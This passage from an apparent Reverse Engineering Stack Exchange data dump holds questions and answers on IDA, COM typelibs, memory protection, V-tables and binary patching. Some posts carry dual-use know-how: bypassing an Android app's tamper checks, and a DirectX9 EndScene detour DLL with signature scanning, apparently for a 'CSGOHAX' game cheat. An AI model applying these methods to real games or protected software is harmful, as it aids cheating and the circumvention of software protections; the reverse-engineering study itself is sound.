Readings:</h3>\n<ul>\n<li><a href=\"https://blogs.msdn.microsoft.com/eldar/2006/02/28/com-proxy-stub-dll-and-why-do-you-need-it/\" rel=\"noreferrer\">COM proxy stub dll and why do you need it</a></li>\n<li><a href=\"https://www.codeproject.com/Members/Lim-Bio-Liong?msg=1413206#xx1413206xx\" rel=\"noreferrer\">Concerning Proxy/Stub DLLs</a></li>\n<li><a href=\"https://msdn.microsoft.com/en-us/library/ms809983.aspx\" rel=\"noreferrer\">From CPP to COM</a></li>\n<li><a href=\"https://thrysoee.dk/InsideCOM+/ch12d.htm\" rel=\"noreferrer\">An Introduction to Marshaling</a></li>\n</ul>\n\n"
    },
    {
        "Id": "19063",
        "CreationDate": "2018-08-14T15:12:17.613",
        "Body": "<p>I have a binary that uses a lot of COM interfaces. The COM dll's have a typelib resource included that I can extract and/or generate an .idl file (I'm using <a href=\"http://www.benf.org/other/olewoo/\" rel=\"nofollow noreferrer\">OleWoo tool</a>).</p>\n\n<p>Is there a way to load the typelib or an .idl file into Ida Pro so that Ida will recognize the COM interface and show the methods rather than offset such as in this sample:</p>\n\n<pre><code>*(void (__stdcall **)(LPVOID))(*(_DWORD *)ppv + 8))(ppv);\n</code></pre>\n",
        "Title": "Load .IDL / TypeLib into Ida Pro",
        "Tags": "|ida|com|",
        "Answer": "<p>I was able to generate a header file using the midl compiler by exporting the idl file with the OLE/COM Viewer tool (<code>oleview.exe</code>) from the SDK.</p>\n\n<p>From oleview select File -> View TypeLib and then save it via File -> Save As (e.g. <code>MyFile.idl</code>) </p>\n\n<p>Then from a Visual Studio command prompt type:\n<code>midl /out c:\\temp /header MyFile.h MyFile.idl</code></p>\n\n<p>Then in Ida you can use File -> Load File -> Parse C Header File.\nIn Options -> Compiler Options -> Include Directories you can set the paths to the Windows SDK include directories (seperated by <code>;</code>)</p>\n"
    },
    {
        "Id": "19066",
        "CreationDate": "2018-08-14T22:16:30.323",
        "Body": "<p>I'm new in IDA Python, so the question is hard for me. I didn't find any solution in google, so I have to ask for the help there. During code analysis I found decryption function. There are about 1000 calls of this function with different arguments. The function takes one argument - encrypted string, which address is moved to eax before the calling.\nI'd like to write script for running the function for all encrypted strings. I find address of the function using idc.LocByName. Then I found all references to this function (using idautils.CodeRefsTo(addr, 1)). Now I to find the function's argument for each reference and call the function with this argument. \nCould you please advise the way I can do it?\nThanks.</p>\n",
        "Title": "IDA Python call func from idb names with specific arguments",
        "Tags": "|idapython|",
        "Answer": "<p>In general you have 3 possibilities:</p>\n\n<p>1 - Recover arguments statically and use <a href=\"https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf\" rel=\"nofollow noreferrer\">AppCall</a> either with IDC or IDAPython in debug session</p>\n\n<p>2 - Rewrite decryption function in python, <a href=\"https://reverseengineering.stackexchange.com/questions/11332/automating-a-decryption-function-call-in-ida-python\">recover arguments statically</a> and run the recovered function on each occurrence.</p>\n\n<p>3 - Use something like <a href=\"https://github.com/codypierce/pyemu\" rel=\"nofollow noreferrer\">PyEmu</a> for running functions.</p>\n\n<p>Usually I find variant 2 easier then others.</p>\n"
    },
    {
        "Id": "19077",
        "CreationDate": "2018-08-16T03:46:21.367",
        "Body": "<p>I'm trying to unpack an obb file used in an android game. From my initial google searches, it's my understanding that an obb can be basically any type of file. The only lead I have is the magic bytes at the start of the file spell out \"AP_Pack!\", but I couldn't find any format matching it.</p>\n\n<p>This is where I'm currently stumped so any next steps would be greatly appreciated.</p>\n",
        "Title": "Determining file format of an OBB",
        "Tags": "|file-format|",
        "Answer": "<p>Decompile the app and look for references to the magic signature. Unless it is obfuscated, it should not be too difficult to recover the format details from the code.</p>\n\n<p>P.S. <a href=\"https://github.com/flamewing/sorcery-xtractobb/blob/master/xtractobb.cc\" rel=\"nofollow noreferrer\">this project</a> seems to have  an unpacker referencing the magic string.</p>\n"
    },
    {
        "Id": "19085",
        "CreationDate": "2018-08-17T10:42:04.877",
        "Body": "<p>I am studying assembly and hooking.</p>\n\n<p>I know how to hook x86 assembly now.\nso if any thread goes to certain address which is overwritten with my code, it automatically returns to my function.\nI think this is normal hooking principle.\n<a href=\"https://www.apriorit.com/dev-blog/160-apihooks\" rel=\"nofollow noreferrer\">https://www.apriorit.com/dev-blog/160-apihooks</a></p>\n\n<p>And now, I want to hook x86 registers or memory in windows 32bit, like almost debugger's breakpoints do.\nSo when some memory areas are accessed, automatically call my function in that process memory.\nTo be exact, I want to use my hooked function instead of breakpoint.\nAny advance will be appreciated!</p>\n",
        "Title": "Is there any way to call function instead of breakpoint, when certain memory area is accessed or register value is matched?",
        "Tags": "|windows|assembly|function-hooking|",
        "Answer": "<p>The only way this can be accomplished, in my opinion, is to override the Page Fault Handler. You cannot do this in user mode, however. The hooks you cite deal with user mode DLL entry points, which is easy to achieve. The paging mechanism is implemented in the kernel, at Ring 0, so basically you will need to write a driver which, in case of a Page Fault, checks if the address is in the range you want monitored and, if yes, calls your function; otherwise calls the default kernel routines. Quite tricky to do, especially on Windows (Linux is somewhat easier) and you risk in de-stabilizing the entire system.</p>\n\n<p>This is what kernel-mode debuggers such as SoftICE  (<a href=\"https://en.wikipedia.org/wiki/SoftICE\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/SoftICE</a>) or WinDbg (<a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg--kernel-mode-\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg--kernel-mode-</a>) do.</p>\n\n<p>If you really want to go for it, a good starting point for information is here: <a href=\"https://stackoverflow.com/questions/18431261/how-does-x86-paging-work\">https://stackoverflow.com/questions/18431261/how-does-x86-paging-work</a>\nand of course <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows-hardware/drivers/</a></p>\n\n<p>PS: No way to do it for registers</p>\n"
    },
    {
        "Id": "19093",
        "CreationDate": "2018-08-18T21:11:30.343",
        "Body": "<p>I'm trying to bypass the security that checks if a file is modified on an android app and will crash without error if modified. It have around 10 fake crashes. I have bypassed some of them in smali and libs but it still keep crashing and Zygote returns different numbers like 2, 4, 15, 25, etc. There is no explanation or details about \"Process exited cleanly\"</p>\n\n<p>Can anyone explain what that \"Process exited cleanly\" means and what c++ codes could be used to fake crash than getpid+kill, exit, abort?</p>\n\n<p>Here is what it says in logcat: </p>\n\n<pre><code>08-18 23:02:10.751 I/ActivityManager(412): Process com.xxx.xxx (pid 17716) has died\n08-18 23:02:10.768 I/Zygote  (160): Process 17716 exited cleanly (15)\n</code></pre>\n",
        "Title": "What does \"Process exited cleanly (number)\" mean?",
        "Tags": "|c++|android|",
        "Answer": "<p>Exited cleanly means that the process was not terminated by a signal, but called the exit system call. This happens usually due to a call to exit, _exit or returning from main. The number in parenthesis is the <em>exit code</em>, which is the parameter passed to exit or the value returned from main.</p>\n\n<p>If you are lucky, the number is unique to the check that failed. If you are unlucky, there is code to terminate the process on tampering which directly calls the exit system call without setting the register used for the exit code, so the number is mostly \"random junk\". </p>\n"
    },
    {
        "Id": "19094",
        "CreationDate": "2018-08-18T21:40:35.403",
        "Body": "<p>I posted a thread on StackOverflow a few days ago, and it's got little attention, so i though it's possible this might be a better place for it.</p>\n\n<p>As the title says, i'm trying to hook/detour DirectX9 functions so i can render some information on screen. </p>\n\n<p>I was able to detour regular functions in my own application by finding the offset address in IDA, i believe i understand what hooking/detouring is and how it works, at least to a reasonable extent.</p>\n\n<p>The problem is, i'm not sure how to even find the EndScene function in IDA, and any attempt I've made at creating a dummy device and getting a V-Table pointer for the function have just not worked.</p>\n\n<p>Here's my code, someone please point out what i'm doing wrong here.\nI'd like to fix this and learn what I've done wrong so i can avoid making the same mistake in the future.</p>\n\n<pre><code>// dllmain.cpp : Defines the entry point for the DLL application.\n#include \"stdafx.h\"\n#include &lt;iostream&gt;\n#include &lt;Windows.h&gt;\n#include &lt;intrin.h&gt;  \n#include &lt;tchar.h&gt;\n#include &lt;tlhelp32.h&gt;\n#include &lt;Psapi.h&gt;\n#include &lt;winsock2.h&gt;\n#include &lt;vector&gt;\n#include &lt;ws2tcpip.h&gt;\n#pragma comment( lib, \"Ws2_32.lib\" )\n#include &lt;d3d9.h&gt;\n#pragma comment(lib, \"d3d9.lib\")\n#include &lt;d3dx9.h&gt;\n#pragma comment(lib, \"d3dx9.lib\")\n#include &lt;detours.h&gt;\n#pragma comment(lib, \"detours.lib\")\n\nusing namespace std;\n\nD3DCOLOR RED = D3DCOLOR_ARGB(255, 255, 0, 0);\n\ntypedef HRESULT(__stdcall* EndScene)(IDirect3DDevice9*);\nstatic EndScene EndScene_orig = NULL;\n\nHRESULT __stdcall EndScene_hook(IDirect3DDevice9* pDevice)\n{\n//  D3DRECT rec = { 100,100,200,200 };\n//  pDevice-&gt;Clear(1, &amp;rec, D3DCLEAR_TARGET, RED, 0, 0);\n//  MessageBoxA(0, \"In EndScene\", \"\", 0); //    &lt;&lt;&lt;&lt;----- This function is called over and over when not commented.\n    return EndScene_orig(pDevice);\n}\n\nvoid WINAPI InitHook()\n{\n\n    HWND game_window = FindWindow(NULL, _T(\"Skinned Mesh\"));\n\n    auto d3dpp = D3DPRESENT_PARAMETERS{};\n    auto d3d = Direct3DCreate9(D3D_SDK_VERSION);\n    if (d3d)\n    {\n        d3dpp.BackBufferCount = 1;\n        d3dpp.MultiSampleType = D3DMULTISAMPLE_NONE;\n        d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD;\n        d3dpp.hDeviceWindow = game_window;\n        d3dpp.FullScreen_RefreshRateInHz = D3DPRESENT_RATE_DEFAULT;\n        d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_IMMEDIATE;\n        d3dpp.BackBufferFormat = D3DFMT_R5G6B5;\n        d3dpp.Windowed = TRUE;\n        IDirect3DDevice9* Device{};\n        if (SUCCEEDED(d3d-&gt;CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, game_window, D3DCREATE_HARDWARE_VERTEXPROCESSING, &amp;d3dpp, &amp;Device)))\n        {\n//          MessageBoxA(0, \"We made it here...\", \"\", 0);\n\n            DWORD** pVTable = *reinterpret_cast&lt;DWORD***&gt;(Device);\n\n            DetourTransactionBegin();\n            DetourUpdateThread(GetCurrentThread());\n\n            EndScene_orig = (EndScene)pVTable[42];\n            DetourAttach(&amp;(LPVOID&amp;)pVTable[42], EndScene_hook);\n\n            if (DetourTransactionCommit() == NO_ERROR)\n                cout &lt;&lt; \"Detoured successfully\" &lt;&lt; endl;\n        }\n    }\n\n}\n\n\nvoid SetupConsole()\n{\n    AllocConsole();\n    freopen(\"CONOUT$\", \"wb\", stdout);\n    freopen(\"CONOUT$\", \"wb\", stderr);\n    freopen(\"CONIN$\", \"rb\", stdin);\n    SetConsoleTitle(\"CSGOHAX\");\n}\n\n\nBOOL APIENTRY DllMain(HMODULE hModule,\n    DWORD  ul_reason_for_call,\n    LPVOID lpReserved\n)\n{\n    switch (ul_reason_for_call)\n    {\n    case DLL_PROCESS_ATTACH:\n        SetupConsole();\n        DisableThreadLibraryCalls(hModule);\n        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)InitHook, 0, 0, NULL);\n        break;\n    case DLL_THREAD_ATTACH:\n    case DLL_THREAD_DETACH:\n    case DLL_PROCESS_DETACH:\n        break;\n    }\n    return TRUE;\n}\n</code></pre>\n",
        "Title": "Trying to hook DirectX9 using C++ - Keeps crashing",
        "Tags": "|debugging|c++|function-hooking|",
        "Answer": "<p>I figured it out, reversed the binary in IDA, found the module address and the EndScene function aswell as its address, calculated the offset. Then used ollydbg and found the function again, made a signature from it, now i can find it dynamically using a signature scanning function.</p>\n\n<p>So i can get the function address with this signature.</p>\n\n<pre><code>DWORD dwEndScene = FindPattern(\"d3d9.dll\",\n    \"\\x6A\\x18\\xB8\\x00\\x00\\x00\\x00\\xE8\\x00\\x00\\x00\\x00\\x8B\\x7D\\x08\\x8B\\xDF\\x8D\\x47\\x04\\xF7\\xDB\\x1B\\xDB\\x23\\xD8\\x89\\x5D\\xE0\\x33\\xF6\\x89\\x75\\xE4\\x39\\x73\\x18\\x75\\x73\",\n    \"xxx????x????xxxxxxxxxxxxxxxxxxxxxxxxxxx\");\n</code></pre>\n\n<p>Then i just detour the function </p>\n\n<pre><code>DetourTransactionBegin();\nDetourUpdateThread(GetCurrentThread());\nEndScene_orig = (oEndScene)(dwEndScene);\nDetourAttach(&amp;(LPVOID&amp;)EndScene_orig, EndScene_hook);\nif (DetourTransactionCommit() == NO_ERROR)\n    cout &lt;&lt; \"Detoured successfully\" &lt;&lt; endl;\n</code></pre>\n\n<p>This is much easier than trying to find the function in the V-Table using a dummy device as i was before.</p>\n"
    },
    {
        "Id": "19096",
        "CreationDate": "2018-08-19T10:09:29.033",
        "Body": "<p>I have very basic application which is console app dispaying message box. \nIn Visual Studio I change following options: </p>\n\n<pre><code>- C/C++ -&gt; SecurityCheck -&gt; Disable Security Check (/GS-)\n- Linker -&gt; Advanced -&gt; Entry Point -&gt; main\n- Linker -&gt; Input -&gt; -&gt; Ignore All Default Libraries -&gt; Yes (/NODEFAULTLIB)\n</code></pre>\n\n<p>to remove from .exe all dependenies like vcruntime140.dll, api-ms-win-crt-locale.dll, etc.</p>\n\n<p>Now, I have only one dependency in import table, which is user32.dll (required by messagebox).</p>\n\n<p>Why kernel32.dll is missing?\nI thought that kernel32.dll is required for all .exe applications. </p>\n\n<p>Even the kernel32.dll is missing, the app runs correctly.</p>\n",
        "Title": "Missing kernel32.dll in import table",
        "Tags": "|windows|winapi|",
        "Answer": "<p>If you are not using any APIs from kernel32 it will not be added to the import table, simple as that. You were misinformed about kernel32 being required for all applications. It is even possible to have an application without import table.</p>\n\n<p>With regards to the vcruntime140 etc, you can just target Windows XP and use the /MP option to get rid of those. The api-ms*.dll are Windows Vista+ ways of importing things like kernel32.dll with shims, so if you don\u2019t care about XP support those are not an issue.</p>\n"
    },
    {
        "Id": "19110",
        "CreationDate": "2018-08-20T16:21:05.147",
        "Body": "<p>I want to protect the certain memory area, like 0x12345678 ~ 0x12345679.\nso if another thread accesses to that area, I want to generate exception.</p>\n\n<p>To solve my problem, I've found and used VirtualProtectEx win32 api.\n<a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366899(v=vs.85).aspx\" rel=\"nofollow noreferrer\">https://msdn.microsoft.com/en-us/library/windows/desktop/aa366899(v=vs.85).aspx</a></p>\n\n<p>And my code looks as follows.</p>\n\n<pre><code>...\nDWORD dwA = 0xFFFFFFFF;\nDWORD dwC = 0xCCCCCCCC;\nint main()\n{\n    DWORD dwProtect = PAGE_READONLY;\n\n    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());\n    VirtualProtectEx((HANDLE)handle, (PVOID)&amp;dwA, 4, dwProtect, &amp;dwProtect);\n    DWORD dwB = dwA;\n    dwC = 0x00000000;\n    dwA = 0x00000000;\n...\n</code></pre>\n\n<p>Here, I set read-only protection to dwA's memory.\nBut at dwC = 0x00000000, I got exception.\nI think it's because VirtualProtectEx protects the page, not the certain memory.</p>\n\n<p>But I just want to protect only dwA's memory.</p>\n\n<p>Can anybody please help me by leading me to correct direction?</p>\n",
        "Title": "How to protect memory area, not segment or page!",
        "Tags": "|windows|c++|c|virtual-memory|",
        "Answer": "<p>The protections are supported only on page granularity by the CPU and you cannot change that. What you can do is in  your exception handler check which address generated the fault, and if it's not the variable you want to \"protect\", restore permissions to the original value, single-step to allow the write be performed, then disable writes again. This is complicated and pretty slow so should be used only when necessary.</p>\n"
    },
    {
        "Id": "19114",
        "CreationDate": "2018-08-20T20:04:01.683",
        "Body": "<p>I have a so. library which I know the \"C\" interface but I don't have access to the source code only the disassembled code which is hard to understand at least for me.\nI know the input parameters (including the expected ranges of the parameters) and I get the corresponding result of the formula.\nI wrote a small program to test every combination of the input parameters and record the results.</p>\n\n<p>For example I recorded these pairs (all possible combinations are over 430.000):</p>\n\n<pre><code>param1;param2;result\n26.4;63.6;50.490\n32.0;107.7;48.552\n70.2;65.4;21.277\n79.1;71.4;14.923\n18.8;48.0;55.703\n65.4;19.9;24.704\n58.9;85.6;29.345\n48.0;50.6;37.128\n17.3;19.7;56.732\n72.6;40.1;19.564\n59.2;42.1;29.131\n43.1;33.7;40.627\n47.2;52.1;37.699\n33.6;55.2;47.410\n31.7;49.3;48.766\n22.5;19.4;53.165\n33.7;66.0;47.338\n49.2;82.4;36.271\n31.3;91.3;49.052\n42.2;43.2;41.269\n65.3;92.8;24.776\n13.2;24.5;59.545\n13.6;57.0;59.270\n59.5;48.6;28.917\n61.3;27.1;27.632\n</code></pre>\n\n<p>I already tried to train a neural network + back propagation with k=5 sigmoid activation neuron and 1 hidden layer with a learn factor of gamma=0.1 and 10000 steps but I get only poor results.\nIt is possible to train a neural network to generate nearly the same results (for example with an error of ~0.001) as the so. library function?\nIs my neural network wrong? Is there a better method?</p>\n\n<p>Any idea or help is welcome!</p>\n\n<p>edit:</p>\n\n<p>thanks @Rok Tav\u010dar I added an image of the data points as a 3d plot.\n<a href=\"https://i.stack.imgur.com/VAVtQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VAVtQ.png\" alt=\"enter image description here\"></a>\nIt looks like two linear 2d surfaces but at some point it jumps a bit.\nI guess I can divide it as two linear functions. Now, I need to figure out how I do a 2d linear regression. If somebody could give me hint that would be grateful.</p>\n\n<p>Nevertheless, the .so library has more complex functions, which dimensional is higher (up to 6). So I can't plot it anymore. I need a more general approach but I will also give it a try to understand the disassembled arm code as  @0xC0000022L suggested.</p>\n",
        "Title": "Is it possible to get the formula out of a blackbox using neural network",
        "Tags": "|functions|",
        "Answer": "<p>thanks @all Finally, I was able to understand the disassembled code. </p>\n\n<p>The function is as follow (I used IDA free for that):</p>\n\n<pre><code>static double test_function(double xmm0) {\n    double xmm1 = 100.0;\n    xmm1 = xmm1 - xmm0;\n    xmm1 = xmm1 * 0.7;\n\n    if (xmm1 &lt; 50) {\n        xmm1 = xmm1 * 1.02;\n    } else {\n        xmm1 = xmm1 * 0.98;\n    }\n\n   return xmm1;\n}\n</code></pre>\n\n<p>My first reverse engineered snippet from a disassembled code. Yay! :)</p>\n\n<p>I will try to reverse engineer a more complex function. Maybe I need your help again.</p>\n"
    },
    {
        "Id": "19115",
        "CreationDate": "2018-08-20T20:33:15.133",
        "Body": "<p>so I have the .idb file of an executeable I want to modify.</p>\n\n<p>In the IDB file, I found this code</p>\n\n<p><a href=\"https://i.stack.imgur.com/K9V5F.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/K9V5F.png\" alt=\"enter image description here\"></a></p>\n\n<p>And I basically want to change 4111006 to 1006 in that IF condition.\nhowever, when I press TAB to go to pseudocode, this is what it shows me</p>\n\n<p><a href=\"https://i.stack.imgur.com/SNIkH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SNIkH.png\" alt=\"enter image description here\"></a></p>\n\n<p>(marked in yellow)</p>\n\n<p>So it shows 4121000 and 4111001 in these segments, but it doesn't show the rest and the one I want to change (4111006), preventing me from finding it in ollydbg / a hex editor and changing it.</p>\n\n<p>Is it possible to find 4111006 and change it to a different integer value? If so, how can I do that? Thank you.</p>\n",
        "Title": "Change value of an IF condition found in IDA",
        "Tags": "|ida|assembly|ollydbg|decompilation|executable|",
        "Answer": "<p>The way how those IFs are constructed in the assembly is a bit different than what you see in high-level overview in IDA code.</p>\n\n<p>Apart from the first one, ifs are represented with subtraction (<code>sub</code> &amp; <code>dec</code>) and <code>jz</code>.</p>\n\n<p>This code is an alternative of conditions:</p>\n\n<pre><code>if (Args == 4121000 || Args == 4111001)\n    goto LABEL_297\n</code></pre>\n\n<p>and is represented in asm with this code:</p>\n\n<pre><code>6DCC53: mov ecx, 4121000\n6DCC55: cmp eax, ecx\n6DCC57: jg short loc_6DCC93\n6DCC5D: jz loc_6DCBB6\n6DCC62: sub eax, 4111001\n6DCC68: jz loc_6DCBB6\n</code></pre>\n\n<p>because in the first 4 lines (excluding 3rd) you have the first part of the if (standard <code>cmp</code> + <code>jz</code>) and then later a value of <code>4111001</code> is subtracted from <code>eax</code>. If it results in zero then we know that the value was equal to it and we jump to the same location. So IDA identifies this as an alternative of two values: <code>4121000</code>, <code>4111001</code>.</p>\n\n<p>The following ifs are represented with this:</p>\n\n<pre><code>dec eax\njz loc_6DCXXX\n</code></pre>\n\n<p>Remember that after the line <code>6DCC62</code> the value in <code>eax</code> we compare with is already <code>-4111001</code>, so if we subtract one more time and if we get zero, we know that the initial value was <code>4111002</code>. This is why IDA represents this as:</p>\n\n<pre><code>if (Args == 4111002)\n    goto LABEL_346\n</code></pre>\n\n<p>The next branches are the same. So you if want to modify the last one, you would have to modify the line that IDA correctly pointed you to + the one before. So instead of having there the same pattern as for all the other ifs, you need to write:</p>\n\n<pre><code>cmp ecx, 1006\njz 6DCD28\n</code></pre>\n\n<p>and assemble such opcodes.</p>\n"
    },
    {
        "Id": "19119",
        "CreationDate": "2018-08-21T07:38:16.753",
        "Body": "<p>Using IDA PRO, after making a few patched, can I run the patched program in the debugger?\nWhat I have been doing so far is:\n1.  Edit > Patch Program > Apply patch to input file\u2026\n2.  Save in a specific location\n3.  Move to windows location under /programs instead of the original file\n4.  Reload the patched file in IDA</p>\n\n<p>This overwrites the original file. Mostly I need to put it in another location since the original may be under windows folder.\nIn addition if forces my to reopen IDA and load the patched file and since this is a new file I lose all my work.</p>\n\n<p>Is there a way, like in Oly, to simple run the patched file?</p>\n",
        "Title": "IDA PRO run patched program from debugger without creating new exe",
        "Tags": "|ida|",
        "Answer": "<p>The simplest solution is to use <a href=\"https://github.com/scottmudge/DebugAutoPatch\" rel=\"nofollow noreferrer\">DebugAutoPatch</a> plugin. To install, download DebugAutoPatch.py file to IDA plugins directory. Its features:</p>\n<ul>\n<li><p>No need to modify any binary files to apply patches!</p>\n</li>\n<li><p>Automatically synchronizes the existing &quot;Patched bytes&quot; database in\nIDA with any launched debug sessions.</p>\n</li>\n<li><p>All patches stored in the &quot;Patched bytes&quot; database are applied to the\ndebug session memory at &quot;process start&quot;, before the main entry point.</p>\n</li>\n<li><p>Debug hooks automatically suspend process, apply patches, and resume\nprocess. The process is seamless and automatic to the user.</p>\n</li>\n<li><p>No extra breakpoints are added and no existing breakpoints are\nmodified. The ability to disable automatic patching (and thus revert\nthe binary to it's &quot;original&quot; state).</p>\n</li>\n<li><p>These options are available in the existing &quot;Edit &gt; Patch program&quot;\nmenu.</p>\n</li>\n</ul>\n"
    },
    {
        "Id": "19125",
        "CreationDate": "2018-08-22T00:57:56.430",
        "Body": "<p>I've been trying for a while now to get my head around V-Tables, V-Table patching, etc, i understand what V-Tables are and why they are used (At least i think i do).</p>\n\n<p>But how do i find them in IDA? I'm using IDA Pro 7.0, and i created a test program with two classes.</p>\n\n<pre><code>class ClassA\n{\npublic:\n    ClassA();\n    ~ClassA();\n    virtual void Test();\n};\n</code></pre>\n\n<p>And..</p>\n\n<pre><code>class ClassB : public ClassA\n{\npublic:\n    ClassB();\n    ~ClassB();\n    void Test() override;\n};\n</code></pre>\n\n<p>The definition for the <code>Test</code> function in both cases is a simple <code>cout</code> to the console.</p>\n\n<p>And in <code>main.cpp</code></p>\n\n<pre><code>int main()\n{\n    ClassB* BClass = new ClassB();\n    while (1)\n    {\n        BClass-&gt;Test();\n        Sleep(1000);\n    }\n    delete BClass;\n    return 0;\n}\n</code></pre>\n\n<p>I was trying to follow <a href=\"https://youtu.be/RO3pg6ZLGQw?t=504\" rel=\"nofollow noreferrer\">this</a> explanation, but it seems as if the data isn't structured the same way in his version of IDA.</p>\n\n<p>After clicking on the class in the Class Informer window, i'm taken to IDA View-A, and this is what i see.</p>\n\n<p><a href=\"https://i.stack.imgur.com/oOpZa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oOpZa.png\" alt=\"enter image description here\"></a></p>\n\n<p>At this point i'm a bit lost, as i'm not really sure how to find or follow pointers in IDA.</p>\n",
        "Title": "How to find V-Table in IDA? (Using class informer)",
        "Tags": "|ida|ida-plugin|pointer|vtables|",
        "Answer": "<p>What you're looking it is actually a VTable. As you know, a VTable is a table of function pointers and as you can see, at address <code>0x19B64</code> you actually see a single function address (this looks like <code>dd offset sub_XXXX</code>). That is actually a virtual function table of a size of one. Since you only have one virtual function in your demo class. That offset points to one implementation of <code>Test</code>. Double-clicking the function name (which defaults to the function's address prefixed with <code>sub_</code> to indicate it is a subroutine) will set the cursor it it's address (and make it visible).</p>\n\n<p>Somewhat below that, at address <code>0x19B8C</code>, you can see the second class's vtable, as you have two classes with differing functions. That offset is the second implementation of <code>Test</code></p>\n"
    },
    {
        "Id": "19127",
        "CreationDate": "2018-08-22T03:03:53.757",
        "Body": "<p>What are the first 16 bytes in the <code>.rodata</code> section?</p>\n\n<p>For example, I have the following code:</p>\n\n<pre><code>#include &lt;cstdio&gt;\n\nvoid myprintf(const char* ptr) {\n        printf(\"%p\\n\", ptr);\n}\n\nint main() {\n        myprintf(\"hello world\");\n        myprintf(\"\\0\\0\");\n        myprintf(\"ab\\0cde\");\n        static char hi[] = \"hi\";\n        myprintf(hi);\n}\n</code></pre>\n\n<p>I compiled:</p>\n\n<pre><code>$ g++ -Wall test_elf.cpp -o test_elf -O3 -std=c++17\n</code></pre>\n\n<p>And then</p>\n\n<pre><code>$ readelf -W -p .rodata test_elf \n\nString dump of section '.rodata':\n  [    10]  %p^J\n  [    14]  hello world\n  [    23]  ab\n  [    26]  cde\n</code></pre>\n\n<p>As you can see, there are 16 bytes before the first constant string literal.  I use <code>elf.h</code> to parse, and I also see there are 16 bytes before the first constant string literal.  14 bytes of them are just zero.  1 non zero byte is <code>1</code>.  Another is <code>2</code>.</p>\n",
        "Title": "What are the first 16 bytes in .rodata section?",
        "Tags": "|c++|elf|compilers|",
        "Answer": "<p><em>Trying to provide a more general answer that would hopefully complement <a href=\"https://stackoverflow.com/questions/34733136/why-static-string-in-rodata-section-has-a-four-dots-prefix-in-gcc\">this</a> answer linked in the comments.</em></p>\n\n<p>To those who are unsure, the <code>.rodata</code> section in an executable contains all <em>read-only</em> variables and constants with a global scope (i.e. will be defined for the entire duration of the program's execution) although the lines are becoming a little blurry and there are exceptions to the rules which are not actually enforced, the <code>.rodata</code> section usually hold all global and static variables that are read only. This is obviously the reason the strings you defined are there.</p>\n\n<p>Although your code does not <em>directly</em> define any constructs except those few string literals, the <code>.rodata</code> section will hold all data deemed <em>globally scoped</em> and <em>read-only</em> by the compiler and linker, regardless of whether it was defined in your code or an additional variable/object your program uses explicitly or implicitly.</p>\n\n<p><strong>Now to your question;</strong> I mentioned additional objects can be explicitly and implicitly defined in your code, without you actually writing them. One explicit example is all the code <code>#include</code>ed in your program (<code>cstdio</code> in this case). Code implicitly included in your program is, for example, the code GCC adds that wraps and calls your defined <code>main</code> function and handles different operating system interfaces (setting up functions related stdin, stderr, stdout) as well as set up and teardown of program objects (that code is where globally scoped objects are initialized by calling their constructor in C++).</p>\n\n<p>Although this is explained in depth in the linked answer, the actual values (<code>1</code> and <code>2</code>) appear to be for a constant defined by GCC's <a href=\"http://repo.or.cz/glibc.git/blob/HEAD:/csu/init.c#l24\" rel=\"nofollow noreferrer\"><code>init.c</code></a>:</p>\n\n<pre><code>const int _IO_stdin_used = 0x20001;\n</code></pre>\n\n<p>That file is part of GCC's initialization code mentioned above, and is used to control the version of a input/output library GCC implements input/output in programs with.</p>\n\n<p><em>it's worth noting that an hex-dump will help increase confidence in whether that is indeed the reason for the additional bytes you're seeing, as well as following the compilation and linking process, of course</em></p>\n\n<p>A difference worth mentioning between your example and the one in the <a href=\"https://stackoverflow.com/questions/34733136/why-static-string-in-rodata-section-has-a-four-dots-prefix-in-gcc\">SO question</a> if the 14 zero bytes, which are of course padding to a boundary of 16 bytes, which is something compilers often do to optimize for execution time. <s>Replacing the <code>-O3</code> with <code>-Os</code> (optimize for size) will probably drop the 14 null bytes, although that is not guaranteed and may depend on the version of GCC you're using.</s></p>\n"
    },
    {
        "Id": "19129",
        "CreationDate": "2018-08-22T13:18:34.090",
        "Body": "<p>I am analyzing a malicious JS file, which is obfuscated in a way that I could not de-obfuscate. When I executed it in a virtual machine and spectated process changes, I noticed that a new executable was created, which when acquired, turned out to be written in Visual Basic 6.</p>\n\n<p>I know that JS droppers often are written to download the secondary malware but in this case, the exe is created without any network communication. Does that mean that the VB6 exe was packed in the original JS file? On a high level, how can this be implemented? </p>\n",
        "Title": "How can a Javascript file drop .exe written in Visual Basic without network communication?",
        "Tags": "|unpacking|javascript|visual-basic|",
        "Answer": "<p>The executable is most likely <em>embedded</em> inside the javascript file itself, or of any accompanying files (say, an <code>.html</code> file that is downloaded with the javascript).</p>\n\n<p>As Memo mentioned, the embedded executable can be <em>encoded</em>, <em>obfuscated</em> or even <em>encrypted</em> within the javascript file, where the javascript file will be required to <em>decode</em>, <em>deobfuscate</em> or <em>decrypt</em> it before writing it to disk and executing it.</p>\n"
    },
    {
        "Id": "19132",
        "CreationDate": "2018-08-22T18:35:57.107",
        "Body": "<p>I have a long list of mappings from IDA function names (<code>sub_??????</code>) to known function prototypes. The prototype is complete, I mean it contains the return type, the name as in the code and the argument types and names. </p>\n\n<p>My question is, how can I batch rename and overwrite all the data about the functions with this prototype information using an IDAPython script?</p>\n",
        "Title": "Batch rename functions knowing their prototypes in IDA Pro",
        "Tags": "|ida|idapython|functions|",
